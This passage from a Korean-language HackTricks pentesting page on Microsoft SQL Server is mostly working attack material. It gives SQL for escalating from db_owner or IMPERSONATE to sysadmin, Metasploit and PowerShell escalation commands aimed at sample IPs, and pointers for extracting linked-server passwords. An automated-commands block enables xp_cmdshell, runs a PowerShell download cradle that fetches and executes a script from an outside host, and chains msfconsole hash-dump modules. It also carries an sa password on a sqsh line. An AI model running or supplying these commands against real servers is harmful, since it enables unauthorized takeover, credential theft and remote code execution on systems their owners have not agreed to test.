์‚ฌ์šฉ์ž(์˜ˆ: **`sa`**)๊ฐ€ ์†Œ์œ ํ•œ **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**์— ๋Œ€ํ•ด **`db_owner`** ์—ญํ• ์„ ๋ถ€์—ฌ๋ฐ›๊ณ  ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ **`trustworthy`**๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” **์ €์žฅ ํ”„๋กœ์‹œ์ €**๊ฐ€ ์†Œ์œ ์ž(**๊ด€๋ฆฌ์ž**)๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๋‚จ์šฉํ•˜์—ฌ **privesc**๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases # Find trustworthy databases SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; # Get roles over the selected database (look for your username as db_owner) USE SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) # If you found you are db_owner of a trustworthy database, you can privesc: --1. Create a stored procedure to add your user to sysadmin role USE CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin' --2. Execute stored procedure to get sysadmin role USE EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` ๋‹น์‹ ์€ **metasploit** ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` ๋˜๋Š” **PS** ์Šคํฌ๋ฆฝํŠธ: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ฐ€์žฅ SQL Server์—๋Š” **`IMPERSONATE`**๋ผ๋Š” ํŠน๋ณ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉฐ, ์ด๋Š” **์‹คํ–‰ ์ค‘์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž** ๋˜๋Š” ๋กœ๊ทธ์ธ **์˜ ๊ถŒํ•œ์„ ์ทจํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค**. ์ด ๊ถŒํ•œ์€ ์ปจํ…์ŠคํŠธ๊ฐ€ ์žฌ์„ค์ •๋˜๊ฑฐ๋‚˜ ์„ธ์…˜์ด ์ข…๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค. ```sql # Find users you can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Check if the user "sa" or any other high privileged user is mentioned # Impersonate sa user EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') # If you can't find any users, make sure to check for links enum_links # If there is a link of interest, re-run the above steps on each link use_link [NAME] ``` {% hint style="info" %} ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๊ฐ€ sysadmin์ด ์•„๋‹ˆ๋”๋ผ๋„, **์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**๋‚˜ ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์— **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. {% endhint %} sysadmin์ด ๋˜๋ฉด ๋‹ค๋ฅธ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT ``` ์ด ๊ณต๊ฒฉ์€ **metasploit** ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` ๋˜๋Š” **PS** ์Šคํฌ๋ฆฝํŠธ๋กœ: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` ## MSSQL์„ ์ด์šฉํ•œ ์ง€์†์„ฑ ํ™•๋ณด [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) ## SQL Server Linked Servers์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœํ•˜๊ธฐ ๊ณต๊ฒฉ์ž๋Š” SQL ์ธ์Šคํ„ด์Šค์—์„œ SQL Server Linked Servers ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•˜์—ฌ ํ‰๋ฌธ์œผ๋กœ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ๋Œ€์ƒ์— ๋Œ€ํ•œ ๋” ํฐ ๋ฐœํŒ์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Linked Servers์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•˜๊ณ  ๋ณตํ˜ธํ™”ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” [์—ฌ๊ธฐ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ž‘๋™ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ช‡ ๊ฐ€์ง€ ์š”๊ตฌ ์‚ฌํ•ญ๊ณผ ๊ตฌ์„ฑ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์šฐ์„ , ํ•ด๋‹น ๋จธ์‹ ์—์„œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ์žˆ๊ฑฐ๋‚˜ SQL Server ๊ตฌ์„ฑ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ถŒํ•œ์„ ํ™•์ธํ•œ ํ›„, ๋‹ค์Œ ์„ธ ๊ฐ€์ง€๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: 1. SQL Server ์ธ์Šคํ„ด์Šค์—์„œ TCP/IP ํ™œ์„ฑํ™”; 2. ์‹œ์ž‘ ๋งค๊ฐœ๋ณ€์ˆ˜ ์ถ”๊ฐ€, ์ด ๊ฒฝ์šฐ -T7806์ด๋ผ๋Š” ์ถ”์  ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค. 3. ์›๊ฒฉ ๊ด€๋ฆฌ์ž ์—ฐ๊ฒฐ ํ™œ์„ฑํ™”. ์ด ๊ตฌ์„ฑ์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด [์ด ์ €์žฅ์†Œ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)์—๋Š” ํ•„์š”ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๊ตฌ์„ฑ ๋‹จ๊ณ„์— ๋Œ€ํ•œ PowerShell ์Šคํฌ๋ฆฝํŠธ ์™ธ์—๋„, ์ด ์ €์žฅ์†Œ์—๋Š” ๊ตฌ์„ฑ ์Šคํฌ๋ฆฝํŠธ์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ ๋ฐ ๋ณตํ˜ธํ™”๋ฅผ ๊ฒฐํ•ฉํ•œ ์ „์ฒด ์Šคํฌ๋ฆฝํŠธ๋„ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋Š” ๋‹ค์Œ ๋งํฌ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค: [MSSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋งํฌ ์„œ๋ฒ„ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณตํ˜ธํ™”](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server ์ „์šฉ ๊ด€๋ฆฌ์ž ์—ฐ๊ฒฐ ๋ฌธ์ œ ํ•ด๊ฒฐ](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน MSSQL ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” **SeImpersonatePrivilege** ๊ถŒํ•œ ํ† ํฐ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.\ ๋‹ค์Œ ๋‘ ํŽ˜์ด์ง€ ์ค‘ ํ•˜๋‚˜๋ฅผ ๋”ฐ๋ผ **๊ด€๋ฆฌ์ž๋กœ ์ƒ์Šน**ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) {% endcontent-ref %} {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} [juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md) {% endcontent-ref %} ## Shodan * `port:1433 !HTTP` ## ์ฐธ๊ณ  ๋ฌธํ—Œ * [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) ## HackTricks ์ž๋™ ๋ช…๋ น ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applicationsโ€”which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} Entry_3: Name: MSSQL consolesless mfs enumeration Description: MSSQL enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT ; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT ; run; exit' ``` {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง€์›ํ•˜๊ธฐ * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * **๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
{% endhint %}